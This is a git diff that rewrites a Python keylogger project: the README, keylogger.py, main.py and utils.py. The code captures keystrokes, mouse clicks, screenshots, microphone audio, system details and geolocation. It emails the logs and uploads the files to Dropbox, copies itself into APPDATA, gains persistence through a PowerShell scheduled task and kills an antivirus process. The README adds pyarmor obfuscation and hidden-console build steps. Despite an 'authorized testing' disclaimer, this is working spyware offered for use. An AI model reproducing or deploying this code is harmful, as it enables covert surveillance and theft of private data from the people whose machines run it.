diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml deleted file mode 100644 index 7b42b92..0000000 --- a/.github/FUNDING.yml +++ /dev/null @@ -1,12 +0,0 @@ -# These are supported funding model platforms - -github: -patreon: user?u=32592056 -open_collective: # Replace with a single Open Collective username -ko_fi: # Replace with a single Ko-fi username -tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel -community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry -liberapay: # Replace with a single Liberapay username -issuehunt: # Replace with a single IssueHunt username -otechie: # Replace with a single Otechie username -custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..9ff8e49 --- /dev/null +++ b/.gitignore @@ -0,0 +1,9 @@ +__pycache__ +*.env +*.png +*.spec +*.wav +build +dist +steps.txt +test.py \ No newline at end of file diff --git a/LICENSE b/LICENSE index 261eeb9..34374a5 100644 --- a/LICENSE +++ b/LICENSE @@ -186,7 +186,7 @@ same "printed page" as the copyright notice for easier identification within third-party archives. - Copyright [yyyy] [name of copyright owner] + Copyright [Filippo Piconese] Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. diff --git a/README.md b/README.md index 644a6fc..9896a00 100644 --- a/README.md +++ b/README.md @@ -1,52 +1,97 @@ -# Inputs To Mail. -Get Keyboard,Mouse,ScreenShot,Microphone Inputs and Send to your Mail. -Purpose of the project is testing the security of information systems - -## INSTALLATION - -**You don't need to do anything for installation just run the script** - -![github-small](/images/Adsız.png) - -## USAGE - -•**Create an account on "https://mailtrap.io/" using a temp mail.** - -![github-small](https://github.com/aydinnyunus/WifiPassword-Stealer/blob/master/images/dene.png?raw=true) - - -•**Set your own SMTP USERNAME and SMTP PASSWORD on "keylogger.py".** - -•**pip install -r requirements.txt** - -•**python3 keylogger.py** - -•**Every 10 seconds,You Get the Data from the Target Computer** - -•**If Target finds the Code and Open the File for Want to Learn your MAIL and Password The Program DELETE itself.** - - -## ANTIVIRUS TEST - -![github-small](/images/1.png) - -![github-small](/images/2.png) - -However, if you've made some money using my tools or just want to encourage me to continue creating stuff, please consider giving back on -**BTC Wallet : 1NqDy1VdF5wkvxBcojbADWexPhPzza6LGF** my efforts and help it grow by buying me coffee - but only if you're definitely able to! 😊🎉 - ---- - -### Contact Me ! - -[](https://linkedin.com/in/yunus-ayd%C4%B1n-b9b01a18a/) [](https://github.com/aydinnyunus/WhatsappBOT) [](https://instagram.com/aydinyunus_/) [](https://twitter.com/aydinnyunuss) - - -## Another Projects : - -•**WHATSAPP BOT** : https://github.com/aydinnyunus/WhatsappBOT - -•**MACHINE LEARNING** : https://github.com/aydinnyunus/Machine-Learning - -•**FACE RECOGNITION SECURITY** : https://github.com/aydinnyunus/FaceRecognitionSecurity - +# KeyLogger - Monitoring and Reporting Program + +## Program Description +This program is a KeyLogger designed to collect input data from the keyboard and mouse, capture screenshots and audio from the microphone, and send these reports via email and Dropbox integration. **Use this tool exclusively for testing purposes and in authorized environments**. + +## Features +The program performs the following tasks: +- Collects system data (hostname, IP address, processor, OS, machine architecture). +- Detects geographic location. +- Monitors keyboard strokes and mouse clicks. +- Captures screenshots and audio at regular intervals. +- Sends collected data via email and Dropbox. +- Automatically deletes temporary files to preserve data privacy. + +## Prerequisites +Python 3 and the following packages are required: +- `dotenv` +- `dropbox` +- `geocoder` +- `mss` +- `numpy` +- `poolmanager` +- `psutil` +- `pyinstaller` +- `pynput` +- `requests` +- `sounddevice` + +### Dependency Installation +To install all required packages, run: +```bash +pip install -r requirements.txt +``` + +## Configuration +1. **Email Configuration**: Define the SMTP server details in a .env file to enable log reporting via email. +2. **Dropbox Integration**: Create a Dropbox API token and add it to the .env file to enable Dropbox integration. +3. **Environment Variables**: + * Set up a .env file with the following variables: + ```plaintext + SMTP_SERVER= + SMTP_PORT= + EMAIL_ADDRESS= + EMAIL_PASSWORD= + EMAIL_SENDER= + EMAIL_RECEIVER= + EMAIL_CC= + DROPBOX_TOKEN= + ``` +4. **Report Interval**: Define the time interval (SEND_REPORT_EVERY) in seconds for reporting frequency. +5. **Magic Word**: Set the MAGIC_WORD variable to define the word that stops the KeyLogger when typed. + +## Program Structure + +### KeyLogger Class +* **System Information**: Collects data on hostname, IP address, processor, OS, and machine architecture. +* **Geolocation**: Detects the geographic location of the system. +* **Keyboard Monitoring**: Tracks keyboard input. +* **Mouse Monitoring**: Monitors clicks, capturing screenshots for each click (but omits movements and scrolls to limit log volume). +* **Audio Recording**: Records audio from the microphone at each interval. +* **Screenshot Capture**: Takes screenshots on each mouse click. +* **Report Generation**: Sends email reports with logged data and uploads images and audio files to Dropbox. +* **Cleanup**: Clears temporary data to ensure efficient resource usage. + +## Execution +1. Create an instance of the KeyLogger class, initializing it with the required variables. +2. Call the run method to start the KeyLogger. +3. The program automatically deletes the .env file at runtime to secure sensitive information. +4. Typing the magic word (if defined) stops the KeyLogger. + +## Single EXE File Version +To run this code on a machine without Python installed, you can compile it into a standalone executable using pyinstaller. The command below is included in the requirements file: +```bash +pyinstaller --onefile --add-data ".env;." main.py +``` + +## Commands to obfuscate and compile the program +To obfuscate and compile the program, run the following commands: +1. Install required packages: + ```bash + pip install -r requirements.txt + ``` +2. Obfuscate code files using pyarmor: + ```bash + pyarmor gen -O obfuscated_dist main.py + pyarmor gen -O obfuscated_dist keylogger.py + pyarmor gen -O obfuscated_dist utils.py + ``` +3. Generate an executable: + ```bash + pyinstaller --onefile --noconsole --add-data "obfuscated_dist\pyarmor_runtime_000000\pyarmor_runtime.pyd;." --hidden-import socket --hidden-import psutil --hidden-import requests --hidden-import subprocess --hidden-import dropbox --hidden-import geocoder --hidden-import mss --hidden-import os --hidden-import platform --hidden-import sounddevice --hidden-import ssl --hidden-import time --hidden-import wave --hidden-import pynput --hidden-import requests.adapters.HTTPAdapter --hidden-import shutil --hidden-import smtplib --hidden-import email.mime.multipart --hidden-import email.mime.text --hidden-import email.mime.base --hidden-import email.encoders --hidden-import keylogger --hidden-import utils --hidden-import utils.send_mail_with_attachment --hidden-import utils.get_wav_and_png_files --hidden-import utils.delete_wav_and_png_files --hidden-import utils.upload_to_dropbox --hidden-import utils.save_program_in_location --hidden-import utils.create_scheduled_task --hidden-import utils.is_process_running --hidden-import utils.stop_process --hidden-import string obfuscated_dist\main.py + ``` +4. Copy the main.exe file from the dist folder. + +## Future Development +* Develop a USB-triggered version that runs when plugged into a PC. +* Implement Dropbox token renewal as the current token expires after four hours. diff --git a/images/.gitattribute b/images/.gitattribute deleted file mode 100644 index 8b13789..0000000 --- a/images/.gitattribute +++ /dev/null @@ -1 +0,0 @@ - diff --git a/images/1.png b/images/1.png deleted file mode 100644 index acdee4b..0000000 Binary files a/images/1.png and /dev/null differ diff --git a/images/2.png b/images/2.png deleted file mode 100644 index d3e2ec0..0000000 Binary files a/images/2.png and /dev/null differ diff --git "a/images/Ads\304\261z.png" "b/images/Ads\304\261z.png" deleted file mode 100644 index a077853..0000000 Binary files "a/images/Ads\304\261z.png" and /dev/null differ diff --git a/keylogger.py b/keylogger.py index 584a456..c20e732 100644 --- a/keylogger.py +++ b/keylogger.py @@ -1,145 +1,250 @@ -try: - import logging - import os - import platform - import smtplib - import socket - import threading - import wave - import pyscreenshot - import sounddevice as sd - from pynput import keyboard - from pynput.keyboard import Listener - from email import encoders - from email.mime.base import MIMEBase - from email.mime.multipart import MIMEMultipart - from email.mime.text import MIMEText - import glob -except ModuleNotFoundError: - from subprocess import call - modules = ["pyscreenshot","sounddevice","pynput"] - call("pip install " + ' '.join(modules), shell=True) - - -finally: - EMAIL_ADDRESS = "YOUR_USERNAME" - EMAIL_PASSWORD = "YOUR_PASSWORD" - SEND_REPORT_EVERY = 60 # as in seconds - class KeyLogger: - def __init__(self, time_interval, email, password): - self.interval = time_interval - self.log = "KeyLogger Started..." - self.email = email - self.password = password - - def appendlog(self, string): +import dropbox +import geocoder +import mss +import os +import platform +import socket +import sounddevice as sd +import ssl +import time +import wave + +from pynput import keyboard, mouse +from requests.adapters import HTTPAdapter +from utils import ( + send_mail_with_attachment, + get_wav_and_png_files, + delete_wav_and_png_files, + # remove_env_file, + upload_to_dropbox, + save_program_in_location, + create_scheduled_task, +) + + +class SSLAdapter(HTTPAdapter): + # Avoid SSL certificate verification + def init_poolmanager(self, *args, **kwargs): + context = ssl.create_default_context() + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + kwargs["ssl_context"] = context + return super(SSLAdapter, self).init_poolmanager(*args, **kwargs) + + +class KeyLogger: + def __init__( + self, + time_interval, + smtp_server, + smtp_port, + email_address, + email_password, + email_sender, + email_receiver, + cc, + magic_word, + dropbox_token, + src_file, + dest_folder, + scheduled_task_name, + ): + self.interval = time_interval + self.smtp_server = smtp_server + self.smtp_port = smtp_port + self.email_address = email_address + self.email_password = email_password + self.email_sender = email_sender + self.email_receiver = email_receiver + self.cc = cc + self.magic_word = magic_word + self.dropbox_token = dropbox_token + self.src_file = src_file + self.dest_folder = dest_folder + self.scheduled_task_name = scheduled_task_name + + self.log = "KeyLogger Started...\n" + self.keyboard_listener = None + self.mouse_listener = None + self.word = "" + + def appendlog(self, string): + if string: self.log = self.log + string - def on_move(self, x, y): - current_move = logging.info("Mouse moved to {} {}".format(x, y)) - self.appendlog(current_move) + def on_move(self, x, y): + # current_move = f"\nMouse moved to {x} {y}" + # self.appendlog(current_move) + pass # do nothing - def on_click(self, x, y): - current_click = logging.info("Mouse moved to {} {}".format(x, y)) + def on_scroll(self, x, y, dx, dy): + # current_scroll = f"\nMouse scrolled at {x} {y} with scroll distance {dx} {dy}" + # self.appendlog(current_scroll) + pass # do nothing + + def on_click(self, x, y, button, pressed): + if pressed: + current_click = f"\nMouse click at {x} {y} with button {button}" + self.screenshot() self.appendlog(current_click) - def on_scroll(self, x, y): - current_scroll = logging.info("Mouse moved to {} {}".format(x, y)) - self.appendlog(current_scroll) + def save_data(self, key): + current_key = "" - def save_data(self, key): + try: + current_key = str(key.char) + except AttributeError: + if key == key.space: + current_key = "SPACE" + elif key == key.esc: + current_key = "ESC" + else: + current_key = f" {str(key)} " + + self.word = self.word + current_key + self.appendlog(f"\nPressed key: {current_key}") + + def send_mail(self, message): + send_mail_with_attachment( + smtp_server=self.smtp_server, + smtp_port=self.smtp_port, + email_address=self.email_address, + email_password=self.email_password, + email_sender=self.email_sender, + email_receiver=self.email_receiver, + cc=self.cc, + path_to_attachment="", + attachments=[], + subject="KeyLogger - by F3000", + body=message, + ) + + def report(self): + self.send_mail(f"{self.log}") + wav_and_png_files = get_wav_and_png_files(self.dest_folder) + + try: + dbx = dropbox.Dropbox(self.dropbox_token) + session = dbx._session + session.mount("https://", SSLAdapter()) + except (dropbox.exceptions.ApiError, FileNotFoundError, Exception) as e: + print(f"Error: {e}") + return + + upload_to_dropbox( + socket.gethostname(), dbx, wav_and_png_files, self.dest_folder + ) + + delete_wav_and_png_files(self.dest_folder) + + print(self.log) + + def cleanup(self): + self.log = "" + + if ( + hasattr(self, "keyboard_listener") + and self.keyboard_listener + and self.keyboard_listener.running + ): + self.keyboard_listener.stop() + + if ( + hasattr(self, "mouse_listener") + and self.mouse_listener + and self.mouse_listener.running + ): + self.mouse_listener.stop() + + self.word = "" + + def system_information(self): + hostname = socket.gethostname() + ip = socket.gethostbyname(hostname) + processor = platform.processor() + system = platform.system() + machine = platform.machine() + self.appendlog("System info:") + self.appendlog(f"\nHostname = {hostname}") + self.appendlog(f"\nIP = {ip}") + self.appendlog(f"\nProcessor = {processor}") + self.appendlog(f"\nSystem OS = {system}") + self.appendlog(f"\nMachine architecture = {machine}") + self.appendlog("\n\n\n") + + def get_location(self): + location = geocoder.ip("me") + + self.appendlog("\nLocation info:") + + if location.ok: + latitude, longitude = location.latlng + city = location.city + state = location.state + country = location.country + + self.appendlog(f"\nGeo position = {latitude} {longitude}") + self.appendlog(f"\nCity = {city}") + self.appendlog(f"\nState = {state}") + self.appendlog(f"\nCountry = {country}") + else: + self.appendlog("\nLocation not determined.") + + def microphone(self): + fs = 44100 + channels = 1 # mono + seconds = self.interval + filename = os.path.join(self.dest_folder, f"sound_{time.time()}.wav") + obj = wave.open(filename, "w") + obj.setnchannels(channels) # mono + obj.setsampwidth(2) # Sampling of 16 bit + obj.setframerate(fs) + myrecording = sd.rec( + int(seconds * fs), samplerate=fs, channels=channels, dtype="int16" + ) + sd.wait() + obj.writeframesraw(myrecording) + obj.close() + self.appendlog("\nmicrophone used.") + + def screenshot(self): + if os.path.exists(self.dest_folder) and os.path.isdir(self.dest_folder): try: - current_key = str(key.char) - except AttributeError: - if key == key.space: - current_key = "SPACE" - elif key == key.esc: - current_key = "ESC" - else: - current_key = " " + str(key) + " " - - self.appendlog(current_key) - - def send_mail(self, email, password, message): - sender = "Private Person " - receiver = "A Test User " - - m = f"""\ - Subject: main Mailtrap - To: {receiver} - From: {sender} - - Keylogger by aydinnyunus\n""" - - m += message - with smtplib.SMTP("smtp.mailtrap.io", 2525) as server: - server.login(email, password) - server.sendmail(sender, receiver, message) - - def report(self): - self.send_mail(self.email, self.password, "\n\n" + self.log) - self.log = "" - timer = threading.Timer(self.interval, self.report) - timer.start() - - def system_information(self): - hostname = socket.gethostname() - ip = socket.gethostbyname(hostname) - plat = platform.processor() - system = platform.system() - machine = platform.machine() - self.appendlog(hostname) - self.appendlog(ip) - self.appendlog(plat) - self.appendlog(system) - self.appendlog(machine) - - def microphone(self): - fs = 44100 - seconds = SEND_REPORT_EVERY - obj = wave.open('sound.wav', 'w') - obj.setnchannels(1) # mono - obj.setsampwidth(2) - obj.setframerate(fs) - myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2) - obj.writeframesraw(myrecording) - sd.wait() - - self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=obj) - - def screenshot(self): - img = pyscreenshot.grab() - self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=img) - - def run(self): - keyboard_listener = keyboard.Listener(on_press=self.save_data) - with keyboard_listener: - self.report() - keyboard_listener.join() - with Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll) as mouse_listener: - mouse_listener.join() - if os.name == "nt": - try: - pwd = os.path.abspath(os.getcwd()) - os.system("cd " + pwd) - os.system("TASKKILL /F /IM " + os.path.basename(__file__)) - print('File was closed.') - os.system("DEL " + os.path.basename(__file__)) - except OSError: - print('File is close.') + filename = os.path.join( + self.dest_folder, f"screenshot_{time.time()}.png" + ) + with mss.mss() as sct: + sct.shot(output=filename) + self.appendlog("\nscreenshot used.") + except Exception as e: + self.appendlog(f"\nError taking screenshot: {e}") - else: - try: - pwd = os.path.abspath(os.getcwd()) - os.system("cd " + pwd) - os.system('pkill leafpad') - os.system("chattr -i " + os.path.basename(__file__)) - print('File was closed.') - os.system("rm -rf" + os.path.basename(__file__)) - except OSError: - print('File is close.') + def run(self): + # remove_env_file() + executable_path = save_program_in_location(self.src_file, self.dest_folder) + create_scheduled_task(executable_path, self.scheduled_task_name) + + self.system_information() + self.get_location() + + while True: + self.keyboard_listener = keyboard.Listener(on_press=self.save_data) + self.keyboard_listener.start() + + self.mouse_listener = mouse.Listener( + on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll + ) + self.mouse_listener.start() + + self.screenshot() + self.microphone() + + time.sleep(self.interval) - keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD) - keylogger.run() + self.report() + if self.magic_word != "" and self.magic_word in self.word: + break + self.cleanup() # this cleanup is used until the while loop works + self.cleanup() # this cleanup is used when the while loop stops diff --git a/main.py b/main.py new file mode 100644 index 0000000..773f86f --- /dev/null +++ b/main.py @@ -0,0 +1,57 @@ +import os + +from dotenv import load_dotenv +from keylogger import KeyLogger +from utils import is_process_running, stop_process + +load_dotenv() + +SMTP_SERVER = os.getenv("SMTP_SERVER") +SMTP_PORT = os.getenv("SMTP_PORT") +EMAIL_ADDRESS = os.getenv("EMAIL_ADDRESS") +EMAIL_PASSWORD = os.getenv("EMAIL_PASSWORD") +EMAIL_SENDER = os.getenv("EMAIL_SENDER") +EMAIL_RECEIVER = os.getenv("EMAIL_RECEIVER") +EMAIL_CC = os.getenv("EMAIL_CC") +DROPBOX_TOKEN = os.getenv("DROPBOX_TOKEN") + +SEND_REPORT_EVERY = 60 # seconds +MAGIC_WORD = "stop" + +EXE_FILENAME = "main.exe" +SRC_FILE = f"D:\{EXE_FILENAME}" +DEST_FOLDER = os.path.join(os.getenv("APPDATA"), "KEYLOGGER") +SCHEDULED_TASK_NAME = "TASK_NAME" +ANTIVIRUS_PROCESS = "antivirus.exe" + + +def main(): + running_instances = is_process_running(EXE_FILENAME) + print(f"Number of '{EXE_FILENAME}' ongoing processes: {running_instances}") + + if running_instances >= 4: + print("Too many ongoing processes. Exiting.") + return + + stop_process(ANTIVIRUS_PROCESS) + + keylogger = KeyLogger( + time_interval=SEND_REPORT_EVERY, + smtp_server=SMTP_SERVER, + smtp_port=SMTP_PORT, + email_address=EMAIL_ADDRESS, + email_password=EMAIL_PASSWORD, + email_sender=EMAIL_SENDER, + email_receiver=EMAIL_RECEIVER, + cc=EMAIL_CC, + magic_word=MAGIC_WORD, + dropbox_token=DROPBOX_TOKEN, + src_file=SRC_FILE, + dest_folder=DEST_FOLDER, + scheduled_task_name=SCHEDULED_TASK_NAME, + ) + keylogger.run() + + +if __name__ == "__main__": + main() diff --git a/requirements.txt b/requirements.txt index c50cda2..e7da6a7 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,11 @@ -pynput==1.7.3 -pyscreenshot==0.5.1 -sounddevice==0.4.3 -Pillow==9.3.0 +dotenv +dropbox +geocoder +mss +numpy +poolmanager +psutil +pyinstaller +pynput +requests +sounddevice \ No newline at end of file diff --git a/utils.py b/utils.py new file mode 100644 index 0000000..920fc83 --- /dev/null +++ b/utils.py @@ -0,0 +1,168 @@ +import dropbox +import os +import psutil +import shutil +import smtplib +import subprocess + +from email import encoders +from email.mime.base import MIMEBase +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText + +def send_mail_with_attachment( + smtp_server, + smtp_port, + email_address, + email_password, + email_sender, + email_receiver, + cc="", + path_to_attachment="", + attachments=[], + subject="", + body="", +): + message = MIMEMultipart() + message["From"] = email_sender + message["To"] = email_receiver + message["Cc"] = cc + message["Subject"] = subject + + message.attach(MIMEText(body, "plain")) + + for attachment in attachments: # [filename_1, filename_2] + # Open the file as binary mode + attach_file = open("{0}/{1}".format(path_to_attachment, attachment), "rb") + payload = MIMEBase("application", "octate-stream") + payload.set_payload((attach_file).read()) + encoders.encode_base64(payload) # encode the attachment + + # Add payload header with filename + payload.add_header("Content-Disposition", f"attachment; filename={attachment}") + message.attach(payload) + + try: + session = smtplib.SMTP(smtp_server, smtp_port) + # session.starttls() # Enable security + session.login(email_address, email_password) + text = message.as_string() + session.sendmail(email_sender, email_receiver, text) + session.quit() + except Exception as e: + print(f"Error sending email: {e}") + return False + return True + + +def get_wav_and_png_files(dest_folder): + wav_and_png_files = [] + if os.path.exists(dest_folder) and os.path.isdir(dest_folder): + for filename in os.listdir(dest_folder): + if ( + filename.endswith(".wav") + or filename.endswith(".png") + or filename.endswith(".txt") + or filename.endswith(".LockBit") + ): + wav_and_png_files.append(filename) + + return wav_and_png_files + + +def delete_wav_and_png_files(dest_folder): + if os.path.exists(dest_folder) and os.path.isdir(dest_folder): + for filename in os.listdir(dest_folder): + if ( + filename.endswith(".wav") + or filename.endswith(".png") + or filename.endswith(".txt") + or filename.endswith(".LockBit") + ): + file_path = os.path.join(dest_folder, filename) + os.remove(file_path) + + +def remove_env_file(): + if os.name == "nt": # Windows + env_file = os.path.join(os.getcwd(), ".env") + if os.path.exists(env_file): + os.remove(env_file) + else: # Linux or Unix + env_file = os.path.join(os.getcwd(), ".env") + if os.path.exists(env_file): + os.remove(env_file) + + +def upload_to_dropbox(hostname, dbx, wav_and_png_files, dest_folder): + for file_name in wav_and_png_files: + file_path = os.path.join(dest_folder, file_name) + destination_path = f"/{hostname}_{file_name}" + + try: + with open(file_path, "rb") as f: + dbx.files_upload(f.read(), destination_path) + except (dropbox.exceptions.ApiError, FileNotFoundError, Exception) as e: + print(f"Error: {e}") + return + + +def create_scheduled_task(executable_path, task_name): + check_task_command = f'if (Get-ScheduledTask -TaskName "{task_name}" -ErrorAction SilentlyContinue) {{ exit 1 }} else {{ exit 0 }}' + + task_exists = subprocess.run( + ["powershell", "-Command", check_task_command], capture_output=True, text=True + ) + + if task_exists.returncode == 1: + return + else: + create_task_command = f""" + $action = New-ScheduledTaskAction -Execute '{executable_path}' + $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 5) -RepetitionDuration (New-TimeSpan -Days 365) + Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "{task_name}" -Description "Esegue il processo custom ogni 5 minuti" + """ + subprocess.run(["powershell", "-Command", create_task_command], check=True) + + +def save_program_in_location(src_file, dest_folder): + if not os.path.exists(dest_folder): + os.makedirs(dest_folder) + + dest_file = os.path.join(dest_folder, os.path.basename(src_file)) + + try: + if not os.path.exists(dest_file): + shutil.copy(src_file, dest_file) + else: + print(f"File {dest_file} already exists.") + except Exception as e: + print(f"Error copying file {src_file} to folder {dest_file}: {e}") + + return dest_file + + +def is_process_running(process_name): + count = 0 + for proc in psutil.process_iter(attrs=["pid", "name"]): + if proc.info["name"] == process_name: + count += 1 + return count + + +def stop_process(process_name): + for process in psutil.process_iter(["pid", "name"]): + if process.info["name"].lower() == process_name.lower(): + try: + print( + f'Terminating process: {process.info["name"]} (PID: {process.info["pid"]})' + ) + process.terminate() + process.wait(timeout=5) + print(f'Process {process.info["name"]} terminated.') + return + except Exception as e: + print( + f'Process cannot be terminated: {process.info["name"]} (PID: {process.info["pid"]}): {str(e)}' + ) + print(f"Process {process_name} not found.")